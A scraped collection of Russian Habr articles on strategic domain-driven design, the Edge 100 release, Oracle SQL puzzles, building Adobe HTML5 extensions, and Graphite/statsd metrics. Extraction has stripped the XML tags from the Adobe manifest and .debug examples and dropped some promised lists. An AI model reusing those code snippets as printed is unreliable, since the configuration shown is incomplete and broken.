Полет осуществляется с помощью инструментов и шаблонов стратегического моделирования, таких как: `единый язык`, `предметная область`, `предметная подобласть`, `смысловое ядро`, `ограниченный контекст`, `карта контекстов`. Именно о них и пойдет речь в этой статье.
Проектирование с помощью тактических шаблонов, таких как, например, `сущность`, `объект`, `значение`, `репозиторий`, `событие`, `агрегат`, представляют собой облегченный DDD. Хотя очень важно уметь использовать этот подход, эти шаблоны имеют в основном технический характер, и, чтобы увидеть общую картину DDD, необходимо первым делом научиться применять стратегические шаблоны на практике.
Основной целью применения DDD является получение высококачественной модели программного обеспечения, которая будет максимально точно отражать поставленные бизнес-цели. Для реализации этого требуется объединение усилий как разработчиков, так и экспертов в предметной области. Создание дружной и сплоченной команды позволяет получить большое количество преимуществ для бизнеса. Обмен знаниями между членами команды снижает шансы появления «тайного знания» о модели, достигается консенсус между экспертами предметной области в отношении различных понятий и терминологии, разрабатывается более точное определение и описание самого бизнеса.
Для того чтобы уравнять разработчиков и экспертов предметной области, чтобы было гораздо проще обмениваться полезными знаниями о предметной области, подход DDD предлагает применять общий набор терминов, понятий и фраз, который будет использоваться в общении между членами команды, и который позже отразится в исходном коде результирующей программы.
Единый язык
-----------
Этот коллективный язык терминов называется `единый язык` (Ubiquitous Language). Это один из основных и самых важных шаблонов предметного-ориентированного проектирования. Это не бизнес жаргон, навязанный разработчикам, а настоящий язык, созданный целостной командой – экспертами в предметной области, разработчиками, бизнес-аналитиками и всеми, кто вовлечен в создание системы. Роль в команде не столь существенна, поскольку каждый член команды использует для описания проекта `единый язык`. Процесс создания единого языка более творческий чем формальный, так как он, как и любой другой естественный язык, постоянно развивается, а те артефакты, которые вначале способствовали разработке полезного единого языка, со временем устаревают. В итоге, остаются только самые устойчивые и проверенные элементы. Чтобы перейти от экспериментов к точным знаниям, Вон Вернон в своей книге предлагает использовать следующие способы:
1. Создание диаграмм физической и концептуальной предметной областей и нанесение на них меток, обозначающих имена и действия. Такие диаграммы носят неформальный характер, поэтому нет смысла использовать формальное моделирование (как UML).
2. Создание глоссария с простыми определениями, а также альтернативными терминами с оценкой их перспективности. Таким образом разрабатываются устойчивые словосочетания единого языка.
3. Создание документации вместо глоссария. Эта документация будет содержать неформальные диаграммы или важные понятия, связанные с программным обеспечением.
4. Обсуждение готовых фраз с остальными членами команды, которые не могут сразу освоить глоссарий или другие письменные документы.
Так как код будет развиваться достаточно быстро и его необходимо согласовывать с текущим вариантом единого языка, то можно позже отказаться от диаграмм, глоссария или другой документации.
Наиболее важное для разработчика – это умение слушать экспертов, получать максимальное количество полезных знаний о предметной области. В то же время, эксперты также должны прислушиваться к разработчикам и их пожеланиям. Команда учится и растет вместе, если она действует сплоченно, получая более глубокое понимание бизнеса.
Приведу несколько примеров из книги:
В команде, обсуждая модель применения вакцины от гриппа в виде кода, произносят фразу наподобие: «Медсестры назначают вакцины от гриппа в стандартных дозах». Возможные варианты развития событий:
Очевидно, что первый вариант совсем не оптимален, второй – лучше, но не учитывает некоторые важные концепции. Окончательный вариант наиболее приемлем для поставленной задачи.
Очень важно понимать, что в рамках предметной области смысл определенного термина или фразы может сильно отличаться. Существует некая граница, в пределах которой понятия
единого языка имеют вполне конкретное контекстное значение.
Ограниченный контекст
---------------------
Эта концептуальная граница называется `ограниченный контекст` (Bounded context). Это второе по значимости свойство DDD после единого языка. Оба эти понятия взаимосвязаны и не могут существовать друг без друга.
Итак, `ограниченный контекст` – это явная граница, внутри которой существует модель предметной области, которая отображает `единый язык` в модель программного обеспечения.
* В каждом ограниченном контексте существует только один `единый язык`.
* Ограниченные контексты являются относительно небольшими, меньше чем может показаться на первый взгляд. `ограниченный контекст` достаточно велик только для единого языка изолированной предметной области, но не больше.
* Единый значит «вездесущий» или «повсеместный», т. е. язык, на котором говорят члены команды и на котором выражается отдельная модель предметной области, которую разрабатывает команда.
* Язык является единым только в рамках команды, работающей над проектом в едином ограниченном контексте.
* Попытка применить `единый язык` в рамках всего предприятия или что хуже, среди нескольких предприятий, закончится провалом.
Для примера, следует рассмотреть контраст между терминами сводка (ассount) в контексте банковских услуг и в литературном контексте:
**Контекст банковских услуг**
Сводка поддерживает запись о дебиторских и кредиторских транзакциях, отображающих текущее финансовое состояние клиента с точки зрения банка → *Сводка о текущих счетах или сводка о сберегательных счетах*
**Литературный контекст**
Сводка – это совокупность литературных выражений об одном или нескольких событиях, произошедших за определенный период времени → *На сайте amazon.com продается книга Into Thin Air: A Personal Account of the Mt. Everest Disaster*
Различить типы сводок невозможно по именам. Но их можно различить исключительно по названиям их концептуальных контейнеров, т.е. соответствующих ограниченных контекстов.
Эти ограниченные контексты относятся к разным `предметным областям`. В следующем примере, одно и то же имя используется в пределах одной и той же `предметной области`.
В некоторых издательствах книги проходят разные этапы жизненного цикла, то есть книга проходит различные `контексты`.
* Разработка концепции и предложения к изданию
* Контракт с автором
* Управление редакционным процессом
* Разработка макета книги, включая иллюстрации
* Перевод книги на другие языки
* Выпуск бумажных и/или электронных версий книги
* Маркетинг
* Продажа книги реализаторам и/или непосредственно покупателям
* Поставка экземпляров книги реализаторам или покупателям
В этом случае, не существует единственного способа разработки правильной модели книги. Например, до заключения контракта, название книги остается неопределенным и может измениться в процессе редактирования. Для маркетинга не нужно большинство из артефактов литературной и технической редакций, за исключением обложек и аннотаций, а для продажи книги необходимы только название, расположение склада, количество экземпляров, размер и вес. Чтобы избежать путаницы, в рамках подхода DDD необходимо использовать отдельные `ограниченные контексты` для каждой из стадий жизненного цикла. Модель книги в каждом `контексте` значительно отличалась бы от всех других. Каждая команда определенного `ограниченного контекста` говорит о книге и знает точно, чего хочет для своего `контекста`.
В примере выше используются различные `ограниченные контексты` в рамках одной `предметной области`.
Предметная область, предметная подобласть, смысловое ядро
---------------------------------------------------------
`Предметная область` (Domain) – это то, что делает организация, и среда, в которой она это делает. Разработчик программного обеспечения для организации обязательно работает в ее `предметной области`. Следует понимать, что при разработке модели предметной области необходимо сосредоточиться в определенной `подобласти`, так как практически невозможно создать единственную, всеобъемлющую модель бизнеса даже умеренно сложной организации. Очень важно разделять модели на логические разделенные `предметные подобласти` (Subdomain) всей `предметной области`, согласно их фактической функциональности. `Подобласти` позволяют быстрее определить разные части `предметной области`, необходимые для решения конкретной задачи.
Также необходимо уметь определять `смысловое ядро` (Core domain). Это очень важный аспект подхода DDD. `Смысловое ядро` – это `подобласть`, имеющая первостепенное значение для организации. Со стратегической точки зрения бизнес должен выделяться своим `смысловым ядром`. Большинство DDD проектов сосредоточены именно на `смысловом ядре`. Лучшие разработчики и эксперты должны быть задействованы именно в этой `подобласти`. Большинство инвестиций должны быть направлены именно сюда для достижения преимущества для бизнеса и получения наибольшей прибыли.
Если моделируется определенный аспект бизнеса, который важен, но не является `смысловым ядром`, то он относится к `служебной подобласти` (Supporting subdomain). Бизнес создает `служебную подобласть`, потому что она имеет специализацию. Если она не имеет специального предназначения для бизнеса, а требуется для всего бизнеса в целом, то ее называют `неспециализированной подобластью` (Generic subdomain). Эти виды `подобластей` важны для успеха бизнеса, но не имеют первоочередного значения. Именно `смысловое ядро` должно быть реализовано идеально, поскольку оно обеспечивает преимущество для бизнеса.
Это и есть основа для стратегического проектирования при подходе DDD.
Пространство задач и пространство решений
-----------------------------------------
`Предметные области` состоят из пространства задач и пространства решений. Пространство задач позволяет думать о стратегической бизнес проблеме, которая должна быть решена, а пространство решений, сосредоточится на том, как реализуется программное обеспечение, чтобы решить бизнес проблему.
* Пространство задач – части `предметной области`, которые необходимы, чтобы создать `смысловое ядро`. Это комбинация `смыслового ядра` и `подобластей`, которое это ядро должно использовать.
* Пространство решений – один или несколько `ограниченных контекстов`, набор конкретных моделей программного обеспечения. Разработанный `ограниченный контекст` – это конкретное решение, представление реализации.
Идеальным вариантом является обеспечение однозначного соответствия между `подобластями` и `ограниченными контекстами`. Таким образом, объединяются пространство задач и пространство решений, выделяются модели предметной области в четко определенные области в зависимости от поставленных целей. Если система не разрабатывается с нуля, она часто представляет собой `большой комок грязи`, где `подобласти` пересекаются с `ограниченными контекстами`.
В качестве примера в книге Вона Вернона приводится `смысловое ядро` для небольшой компании, которая занимается розничной продажей в Интернете. Любой интернет-магазин может улучшить свое положение, если будет использовать механизм прогноза, который будет анализировать историю продаж и данные о запасах для получения прогноза спроса и конкретных объемов оптимальных запасов. (Компания не должна тратить деньги на товары, которые не имеют спроса и занимают дополнительную складскую площадь.) Именно это `смысловое ядро` делает организацию гораздо более конкурентоспособной, способной быстро идентифицировать выгодные сделки и гарантировать необходимый уровень запасов. Пространство задач состоит из `смыслового ядро` и `подобластей`, связанных с закупкой и запасами, и которые отображены на этом рисунке:
Это только часть `предметной области`, а не вся `предметная область`, в которой работает организация. Пространство задач (смысловое ядро и подобласти) необходимо проанализировать. Модель закупок, изображенная на рисунке, представляет собой решение для `смыслового ядро`. Модель предметной области будет реализована в явном `ограниченном контексте`: контексте оптимальных закупок. Этот `ограниченный контекст` однозначно соответствует одной `подобласти` под названием смысловое ядро оптимальных закупок. Еще один `ограниченный контекст` под названием контекст закупок будет разработан для уточнения технических аспектов процесса закупок и будет играть вспомогательную роль по отношению к контексту оптимальных закупок. Они обеспечивают взаимодействие с открытым интерфейсом системы ERP. Контекст закупок и модуль закупок ERP объединяются в служебную подобласть закупок. Сам модуль ERP является `неспециализированной подобластью`, поскольку ее можно заменить на любую другую коммерческую систему закупок. Однако, она становится `служебной подобластью`, если ее рассмотреть в сочетании с контекстом закупок в подобласти закупок. В соответствие с рисунком, контекст оптимальных закупок должен также взаимодействовать с контекстом товарных запасов, который управляет единицами хранения. Он использует модуль товарных запасов ERP, который находится в пределах `служебной подобласти` товарных запасов. ERP-приложение состоит из различных модулей, которые мы рассматриваем как логические `подобласти`, – это `подобласти` товарных запасов и закупок. Эти модули и контексты запасов и закупок объединяются в `служебные подобласти`.
Итак, для оценки пространства задач в первую очередь необходимо:
* Определить, как выглядит стратегическое `смысловое ядро`
* Какие концепции должны рассматриваться как часть `смыслового ядра`
* Перечислить `служебные` и `неспециализированные подобласти`.
Оценка пространства задач влияет на оценку пространства решений. Здесь необходимо думать уже о существующих и новых системах и технологиях. Надо думать в терминах четко отделимых физических `органических контекстов`, для которых ищется `единый язык`. Следует:
* Проанализировать существующее программное обеспечение на предмет повторного использования
* Определить средства, которые следует приобрести или создать
* Изучить интеграцию этих средств
* Определить, как перекрываются концепции и данные разных `ограниченных контекстов`
* Определить, какой `ограниченный контекст` содержит концепции, относящиеся к `смысловому ядру`, и какие тактические шаблоны используются для его моделирования.
`ограниченный контекст` состоит не только из модели `предметной области`. Хотя модель это ее основной компонент. Если создается схема баз данных из модели, она также участвует в этом `ограниченном контексте`. В то же время, если схема существовала ранее и в ней нарушен проект, эта схема не относится к `ограниченному контексту`.
`пользовательский интерфейс`, который выражает модель, также относится к `ограниченному контексту`. Также могут быть реализованы сервис-ориентированные конечные точки, которые также находятся внутри границы. И компоненты пользовательского интерфейса, и сервис-ориентированные конечные точки делегируются `прикладным службам`, которые действуют как `фасад` по отношению к модели. Эти `службы` также находятся внутри границы `ограниченного контекста`.
Размеры `ограниченных контекстов` могут быть самыми разными. Главное, – чтобы модель демонстрировала богатство `единого языка` в `контексте`. В ней должно существовать столько концепций `предметной области`, сколько необходимо для моделирования в пределах `ограниченного контекста` – ни больше, ни меньше. Для того чтобы не пропустить ничего существенного, необходимо найти четкий и хороший критерий. Для этого можно использовать `карту контекстов`. Таким образом мы подходим к третьему важному шаблону стратегического проектирования.
Карта контекстов
----------------
Следуя подходу DDD, определенная команда должна создать собственную `карту`, которая отражает пространство решений, в которой находится эта команда. Эта `карта` состоит из `ограниченных контекстов`, а также интеграционных связей между ними. Пример:
Эта `карта контекстов` (Context map) отображает текущее положение дел, а не то, что будет в будущем. Необходимо избегать формальностей в процессе создания `карты`. Слишком большое количество деталей только мешает процессу создания.
Естественный ход событий – совпадение границ контекстов с организационным делением команды. Люди, работающие вместе, разделяют один общий контекст модели.
После создания предварительной `карты контекстов`, ее можно детализировать путем определения отношений между `контекстами`.
Существуют такие отношения между `ограниченными контекстами` и отдельными командами проекта:
* `партнерство` (Partnership). Когда команды в двух `контекстах` достигают успеха и терпят неудачу вместе, возникает отношение сотрудничества. Они должны сотрудничать в процессе эволюции своих интерфейсов, чтобы учитывать потребности обеих систем.
* `общее ядро` (Shared kernel). Общая часть модели и кода образует тесную взаимосвязь. Обозначается четкая граница подмножества модели предметной области, которую команды согласны считать общей. Ядро должно быть маленьким. Оно не может изменяться без консультации с другой командой. Необходимо согласовывать `единый язык` команд.
* `разработка заказчки-поставщик` (Customer-supplier development). Когда две команды находятся в отношении «нижестоящий и вышестоящий», и команды вышестоящие учитывают приоритеты нижестоящих команд.
* `конформист` (Conformist). Когда две команды находятся в отношении «вышестоящий и нижестоящий», причем вышестоящая команда не имеет причин учитывать потребности нижестоящей команды. Нижестоящая команда учитывает сложность трансляции между ограниченными контекстами, беспрекословно подчиняясь модели вышестоящей команды.
* `предохранительный уровень` (Anticorruption layer). Если управление и коммуникация не соответствуют общему ядру, партнеру, или отношению «Заказчик-поставщик», то трансляция является сложной. Нижестоящий клиент должен создать изолирующий слой, чтобы обеспечить свою систему вышестоящей системы в терминах своей модели предметной области. Этот уровень общается с другой системой с помощью существующего интерфейса, не требуя или почти не требуя модификаций другой системы.
* `служба с открытым протоколом` (Open host service). Определяется протокол, который предоставляет доступ к системе как к набору служб. Для учета новых требований интеграции этот протокол расширяется и уточняется.
* `общедоступный язык` (Published language). Трансляция между моделями двух `ограниченных контекстов` требует общего языка. В качестве среды для коммуникации используется хорошо документированный общий язык, который может выразить необходимую информацию о предметной области, выполняя при необходимости перевод информации с другого языка на этот.
* `отдельное существование` (Separate ways). Если между двумя наборами функциональных возможностей нет важного отношения, их можно полностью отсоединить друг от друга. Интеграция всегда дорого стоит, а выгоды бывают незначительны.
* `большой комок грязи` (Big ball of mud). Существуют части системы, в которых модели перемешаны, а границы стерты. Необходимо нарисовать границу такой смеси и назвать ее `большой комок грязи`.
Пример разработки `карты контекстов` можно взять из [статьи](https://www.infoq.com/articles/ddd-contextmapping) Альберто Брандолини Strategic Domain Driven Design with Context Mapping.
Сначала рисуется простая карта контекстов с границами и связью между `ограниченными контекстами`:
В этих двух контекстах есть различия в концепциях с одинаковым названием. Например, Account в Web User Profiling – это учетная запись пользователя (логин и пароль). В то же время, для PFM Application (персональное управление финансами) – это сводка, описывающая текущее состояние клиента с точки зрения банка. Иногда, как было указано выше, одна и та же концепция может использоваться в абсолютно разных `контекстах`, тем самым для них необходимо определить разные модели.
Например, PayeeAccount – это тот же BankingAccount, но с другим поведением (нельзя получить баланс). Таким образом будет создан отдельный контекст учета расходов (expense tracking). Также отдельно, в приведенном примере, создается контекст онлайн сервисов банка (on-line banking services) (такие сервисы, например, как распечатка выписок банка).
После первого шага создания `карты`, можно детализировать все отношения. У каждого отношения есть направление. Вышестоящие (upstream) влияют на нижестоящие (downstream), но не факт, что обратное верно.
Детализированная `карта` выглядит вот так:
Контекст банковских онлайн сервисов предоставляет API (это может быть служба с открытым протоколом и общедоступный язык). При изменении этого API, контекст персонального управления финансами должен тут же измениться, чтобы работать с новым API. При этом необходимо использовать `предохранительный уровень`, чтобы не дать понятиям из контекста онлайн сервисов просочиться в контекст персонального управления финансами (делается преобразование моделей предметной области).
Так как контекст профайлов веб-пользователей используется как готовый внешний модуль и он поставляется «как есть», здесь устанавливается отношение `конформист` (нижестоящий подчиняется вышестоящему).
В случае с контекстом учетов расходов, то здесь лучше всего подходит отношение `партнерства`, так как существуют общие цели и концепции, но нет направления отношения.
Это простой пример `карты контекстов`, на деле они бывают намного сложней.
Вывод
-----
В этой статье были рассмотрены основные понятия предметно-ориентированного проектирования с помощью стратегических шаблонов: `единый язык`, `ограниченный контекст`, `предметная область`, `предметная подобласть`, `смысловое ядро`, `карта контекстов`. Этих инструментов достаточно, чтобы увидеть стратегическое развитие проекта и понять, как дальше развивать бизнес, чтобы добиться наибольшего успеха.
Конечно, после прочтения данной статьи многое еще захочется уточнить. Для этого рекомендую обратиться к вышеупомянутой книге Вона Вернона. Также для этого существуют специальные [сообщества](http://dddcommunity.org/), куда можно обратиться за советом. Тактические же приемы моделирования, а также шаблоны, такие как `сущности`, `объекты значения`, `агрегаты` и другие будут рассмотрены в следующей статье.
Спасибо за внимание!
Статью подготовили: [greebn9k](https://habrahabr.ru/users/greebn9k/) (Сергей Грибняк), [wa1one](https://habrahabr.ru/users/wa1one/) (Владимир Ковальчук), [silmarilion](https://habrahabr.ru/users/silmarilion/) (Андрей Хахарев). | https://habr.com/ru/post/316438/ | null | ru | null |
# Microsoft представила Edge 100
Microsoft [представила](https://docs.microsoft.com/en-us/deployedge/microsoft-edge-relnote-stable-channel#version-1000118529-april-1) общедоступную версию браузера Edge 100. В обновлении улучшили работу с PDF-файлами и исправили уязвимости. Сообщается, что Edge автоматически обновится до актуальной версии.
Теперь у Microsoft Edge трехзначный номер версии, и из-за этого могут случаться сбои на стороне аналитических сервисов и сторонних скриптов. Компания настоятельно рекомендует владельцам сайтов проверить работоспособность сервисов с трехзначным номером версии браузера. Помимо этого, у разработчиков [есть возможность](https://docs.microsoft.com/en-us/deployedge/microsoft-edge-policies#forcemajorversiontominorpositioninuseragent) закрепить в настройках браузера номер версии на `99`.
Служба Microsoft 365 Application Protocol Activations теперь может самостоятельно запускать некоторые приложения Microsoft по мере необходимости. Уже сейчас доступы сценарии взаимодействия с SharePoint и OneDrive. В настройках браузера можно управлять режимом.
Также пользователям стал доступен облегченный вариант просмотра PDF-документов в браузере, который может открывать файлы с локального диска или из Microsoft Outlook. Помимо этого браузер сам проверяет цифровые подписи PDF-документов, и для этого не нужны дополнительные инструменты.
В сотой версии разработчики исправили ряд уязвимостей, связанных с повреждением целостности памяти. Сообщается, что аппаратная защита стека доступна только на машинах под управлением Windows 8 и выше. В общей сложности компания [исправила](https://docs.microsoft.com/en-us/deployedge/microsoft-edge-relnotes-security#april-1-2022) 9 внутренних ошибок. Помимо этого, последняя сборка Edge [включает](https://msrc.microsoft.com/update-guide) в себя более 20 исправлений от сообщества разработчиков Chromium.
На прошлой неделе Google также [выпустила](https://habr.com/ru/news/t/658181/) сотую версию Chrome. В браузере изменили иконку приложения на всех актуальных платформах и добавили новые API для разработчиков. | https://habr.com/ru/post/659005/ | null | ru | null |
# The Power of Oracle SQL
Прочитав сегодняшний топик [«SQL. Занимательные задачки»](https://habr.com/en/post/461567/), я вспомнил, что давно хотел порекомендовать отличную книгу для продвинутого уровня Oracle SQL от нашего отличного специалиста по Oracle, Алекса Репринцева — «The Power of Oracle SQL». Мало того, что она сама по себе чрезвычайно полезная для тех, кто хочет знать Oracle SQL на высоком уровне, так она еще и **бесплатная**! Кроме того, есть версии и на русском, и на английском.
В общем, [ссылки на саму книгу](https://sqlmdx.net/2011/03/15/tpoos/).
И на [обсуждение самой книги с автором](https://www.sql.ru/forum/1248365-a/the-power-of-oracle-sql).
И для затравки пара примеров задач из нее:
* **Connected components**
имеется неориентированный (ненаправленный) граф, заданный списком ребер и
требуется получить компоненты связности.
Для данных из таблицы ниже:
```
create table edge(x1, x2) as
select 10,20 from dual
union all select 50,40 from dual
union all select 20,30 from dual
union all select 20,40 from dual
union all select 60,70 from dual
union all select 80,60 from dual
union all select 20,90 from dual;
```
Ожидается следующий результат (порядок нумерации компонент не критичен):
```
X GRP
--- -----
10 1
20 1
30 1
40 1
50 1
60 2
70 2
80 2
90 1
```
* **Ordering dependencies**
Теперь рассмотрим задачу на ориентированном (направленном) графе.
Есть таблица с зависимостями между объектами, не содержащая циклических
зависимостей. Однако между парами вершин может существовать более одного пути, поэтому
такую структуру нельзя назвать деревом.
```
create table d(name, referenced_name) as
(select null, 'a' from dual
union all select null, 'd' from dual
union all select 'a', 'b' from dual
union all select 'd', 'b' from dual
union all select 'b', 'e' from dual
union all select 'b', 'c' from dual
union all select 'e', 'c' from dual);
```
Необходимо обойти все объекты за минимальное число шагов, при этом на каждом шаге
можно обходить только те объекты, для которых обойдены все зависимые объекты. То есть, на
первом шаге обходятся объекты не имеющие зависимостей, на втором шаге те, которые зависят
от объектов первого шага и так далее. Иными словами нумеруются зависимости по глубине.
* **Covering ranges**
Предположим есть таблица следующего вида:
```
create table t_range(a, b) as
(select 1, 15 from dual
union all select 3, 17 from dual
union all select 6, 19 from dual
union all select 10, 21 from dual
union all select 17, 26 from dual
union all select 18, 29 from dual
union all select 20, 32 from dual
union all select 24, 35 from dual
union all select 28, 45 from dual
union all select 30, 49 from dual);
```
*b > a для каждой пары a, b; a уникально*
Необходимо получить отрезки (1:15), (17:26), (28:45), то есть начинаем со строки с
минимальным **a**, и следующую строку берем такую, что для нее **a** больше **b** из текущей строки и так
далее.
* **Top paths**
Для таблицы со списком директорий в файловой системы вывести только те, что не имеют
поддиректорий.
```
create table t_path(path) as
select '/tmp/cat/' from dual
union all select '/tmp/cata/' from dual
union all select '/tmp/catb/' from dual
union all select '/tmp/catb/catx/' from dual
union all select '/usr/local/' from dual
union all select '/usr/local/lib/liba/' from dual
union all select '/usr/local/lib/libx/' from dual
union all select '/var/cache/' from dual
union all select '/var/cache/'||'xyz'||rownum||'/' from dual
connect by level <= 1e6;
```
Для указанных данных результатом будет:
```
PATH
-------------------------------------------------------
/tmp/cat/
/tmp/cata/
/tmp/catb/
/usr/local/
/var/cache/
``` | https://habr.com/ru/post/461971/ | null | ru | null |
# С чего начать своё расширение для Photoshop, Illustrator и др. на HTML5
В этой статье я расскажу как при помощи HTML и JavaScript сделать своё собственное расширение для Photoshop, Illustrator, Premier, Flash, Prelude или InDesign.
С июня 2013-го года Adobe добавила поддержку HTML5 для расширений, тем самым упростив их создание.
Сразу замечу, что сам я дизайнер и к программированию имею очень посредственное отношение, так что прошу прощения за возможные ошибки в терминологии.
#### Инструменты
Для работы нам понадобятся любимый текстовый редактор и базовые знания HTML, CSS и JavaScript.
Да-да, теперь никаких Adobe Configurator и Flash.
Автоматизировать создание базового набора нужных файлов помогут Eclipse и Brackets/Edge Code CC.
#### Из чего состоит
Создадим простейшее расширение для Photoshop.
Минимальный набор файлов и их структура такие:
```
ExtensionName/
CSXS/
manifest.xml
index.html
```
где manifest.xml — файл с описанием всех его параметров,
а index.html — само расширение.
Manifest.xml содержить примерно следуюшее
```
xml version="1.0" encoding="UTF-8" standalone="no"?
./index.html
Panel
ExtensionName
400
400
```
*[Подробное описание всех параметров](http://wwwimages.adobe.com/www.adobe.com/content/dam/Adobe/en/devnet/cs-extension-builder/pdfs/CC_Extension_SDK.pdf)*
а в index.html, всё что душе угодно. Например:
```
Hello Habrahabr!
```
Вот и всё.
Наше первое расширение готово.
#### Запуск
Для запуска неподписанных приложений нужно включить PlayerDebugMode.
Для этого нужно добавить ключ PlayerDebugMod со значением String равным 1
```
OS X: ~/Library/Preferences/com.adobe.CSXS.4.plist
Windows: HKEY_CURRENT_USER/Software/Adobe/CSXS.4
```
Далее папку с созданным расширением нужно положить сюда
```
OS X: ~/Library/Application Support/Adobe/CEPServiceManager4/extensions/
Windows: %APPDATA%\Adobe\CEPServiceManager4\extensions
```
Запустить Фотошоп и выбрать в меню Window > Extensions > наше расширение
*Все дальнейшие изменения можно вносить прямо в папке CEPServiceManager4\extensions.
О том как вносить изменения без перезапуска Фотошопа ниже*
#### Debugging
Для того, чтобы включить этот режим нужно создать в корневой папке расширения файл .debug,
```
ExtensionName/
.debug
CSXS/
manifest.xml
index.html
```
содержание которого примерно следующее
```
xml version="1.0" encoding="UTF-8"?
```
где Extension Id=«com.extensionname» — ID нашего расширения,
а Port=«8088» — порт для подключения.
В браузере откроем ссылку <http://localhost:8088>,
выберем наш index.html.
И вот они Developer Tools
*Проверено в Safari и Chrome*
#### Инструменты упрощающие жизнь
##### Adobe Edge Code CC/Brackets
[David Deraedt](https://twitter.com/davidderaedt) сделал замечательное расширение для этих редакторов [Creative Cloud Extension Builder for Brackets](http://davidderaedt.github.io/CC-Extension-Builder-for-Brackets/)
Оно автоматически создаёт:
* все нужные файлы в нужном месте для Photoshop, Illustrator, Premier, Flash, Prelude или InDesign на выбор
* библиотеки jQuery и CSInterface
* шаблон для иконки
* свою библиотеку оформления всех элементов интерфейса в стиле Adobe
* скрипт автоматического перекрашивания панели в цвет интерфейса приложения
* кнопочку «Refresh»
* .debug со всеми прописанными данными
Главными плюсами являются набор всего нужного и возможность редактирования расширения без необходимости перезапускать программу
После установки расширения в Edge Code CC выбираем File > New Creative Cloud Extension
Вносим нужные правки в index.html
Сохраняем. Запускаем фотошоп и открываем то, что получилось.
Обратите внимание на маленькую кнопочку «Rf» в правом верхнем углу — она позволяет перезагружать расширение без перезагрузки фотошопа.
Кстати, все скрипты работающие непосредственно с функциональностью фотошопа хранятся в папке jsx папки расширения.
##### Eclipse
Для этого редактора скачиваем это дополнение[Adobe Extension Builder 3](http://labs.adobe.com/downloads/extensionbuilder3.html) и устанавливаем его.
Оно создаёт:
* шаблоны для Photoshop, Illustrator, Premier, Flash, Prelude или InDesign
* библиотеки jQuery и CSInterface
* свою библиотеку оформления всех элементов интерфейса в стиле Adobe
* скрипт автоматического перекрашивания расширения в цвет интерфейса приложения
Суть примерно такая же как и в первом случае.
Только вот очень неудобно, что для просмотра внесённых изменений нужно каждый раз перезапускать фотшоп.
Также нет иконки и .debug-файла.
Да и сам Eclipse тяжелее на подъём.
#### Сборка в ZXP
Последний этап — собрать результат в ZXP-файл и подписать его.
За неимением под рукой Windows, расскажу как это делается в OS X.
Для этого скачиваем [CC Extensions Signing Toolkit](http://labs.adobe.com/downloads/extensionbuilder3.html)
Открываем терминал и получаем сертификат командой
```
ZXPSignCmd -selfSignedCert
```
пример
```
ZXPSignCmd -selfSignedCert RU RU Saint-Petersburg "My Company" "Igor Volkov" myPassword myCertificate.p12
```
Полсле того, как сертификат получен пакуем наше расширение в ZXP с использованием этого сертификата.
```
ZXPSignCmd -sign
```
пример
```
./ZXPSignCmd -sign HelloHabrahabr/ HelloHabrahabr.zxp myCertificate.p12 myPassword
```
На этом всё.
Надеюсь, статья поможет многим сделать первый шаг в сторону разработки своих улучшений всеми известных программ.
#### Полезные ссылки
[HTML Panel Tips by Davide Barranca](http://www.davidebarranca.com/category/code/html-panels/) — несколько полезных статей на тему
[Introduction To Photoshop Scripting By Kamil Khadeyev](http://www.smashingmagazine.com/2013/07/25/introduction-to-photoshop-scripting/) — с чего начать свой первый скрипт для Фотошопа.
[USING The Adobe Eextension SDK](http://wwwimages.adobe.com/www.adobe.com/content/dam/Adobe/en/devnet/cs-extension-builder/pdfs/CC_Extension_SDK.pdf) — подробная инструкция от Adobe
[Adobe Photoshop Scripting](http://www.adobe.com/devnet/photoshop/scripting.html) — документация по написанию скриптов от Adobe
[A Short Guide to HTML5 Extensibility](http://www.adobe.com/devnet/creativesuite/articles/a-short-guide-to-HTML5-extensions.html) — примерно тоже, что я описал в первой части своей статьи
[Introducing HTML5 Extensions](http://blogs.adobe.com/cssdk/2013/09/introducing-html5-extensions.html) — пара вводных видео для работы с Eclipse
[Adobe Extension Builder 3](http://labs.adobe.com/downloads/extensionbuilder3.html) — расширение для Eclipse и паковщик в ZXP-файлы
[Creative Cloud Extension Builder for Brackets](http://davidderaedt.github.io/CC-Extension-Builder-for-Brackets/) — расширение для Adobe Edge Code CC/Brackets | https://habr.com/ru/post/221863/ | null | ru | null |
# Сборка, роутинг и обслуживание метрик
Введение
--------
Неотъемлемой частью любой сложной системы является телеметрия (мониторинг). Она включает в себя сборку логов, сборку различных метрик из разных частей системы, межсервисную трассировку вызовов и в самых критических случаях, если это возможно, — ручное взаимодействие. В этой статье мы остановимся только на процедуре сбора метрик. Возможно, кому-то наш подход покажется архаичным и устаревшим, однако для нас он, как говорится, battleprоven и хорошо себя зарекомендовал в наших условиях.
[](https://habr.com/ru/company/playrix/blog/539080/)
В основе наших метрик лежит хорошо известная система [Graphite](https://graphiteapp.org/). Здесь мы не будем останавливаться на базовых вещах его конфигурирования и первичной настройки, для этого существует достаточное количество материалов в интернете, скажем лишь то, что от самого проекта Graphite у нас нет практически ничего :). Все его компоненты заменены на более производительные аналоги. В этом, кстати, большое достоинство Graphite: он построен из кубиков, которые легко друг с другом комбинировать и заменять. Остановимся лишь на проблемах, с которыми мы столкнулись в ходе эксплуатации.
Проблема 1: Агрегация метрик
----------------------------
Так как наши проекты довольно динамичны, а именно рабочие фермы постоянно изменяются в размерах, узлы внутри них ротируются, возникает проблема того, что нужно представлять, как система себя ведет в комплексе. Да, можно с каждого отдельного узла слать метрики и пользоваться агрегирующими функциями самого графита совместно с выбором метрик по wildcard, но это очень неудобно. (Хотя есть и другая точка зрения со стороны ребят, сделавших [prometheus](https://prometheus.io/), что нужно хранить все метрики, чтобы в случае чего было удобно разбираться. Но, на наш взгляд, в динамических средах, где контейнеры скалируются туда-сюда в больших количествах, этот подход скорее запутывает конечных пользователей, а также является неоправданно вычислительно сложным.) А на больших количествах метрик еще и медленно. Но человеческая мысль не стоит на месте, и ребята из `Etsy` взяли и придумали [`statsd`](https://github.com/statsd/statsd). Как читателям, наверное, хорошо известно, это агрегирующий сервер, который позволяет решить проблему, описанную чуть выше. У него есть период агрегирования, и по этому периоду для определенных типов метрик (`timing`) он считает несколько агрегирующих функций:
* avg — среднее значение за период
* p99 — 99 [персентиль](https://ru.wikipedia.org/wiki/%D0%9A%D0%B2%D0%B0%D0%BD%D1%82%D0%B8%D0%BB%D1%8C) за период
* min — минимальное зафиксированное значение за период
* max — максимальное значение зафиксированное за период
* mean — медианное значение за период
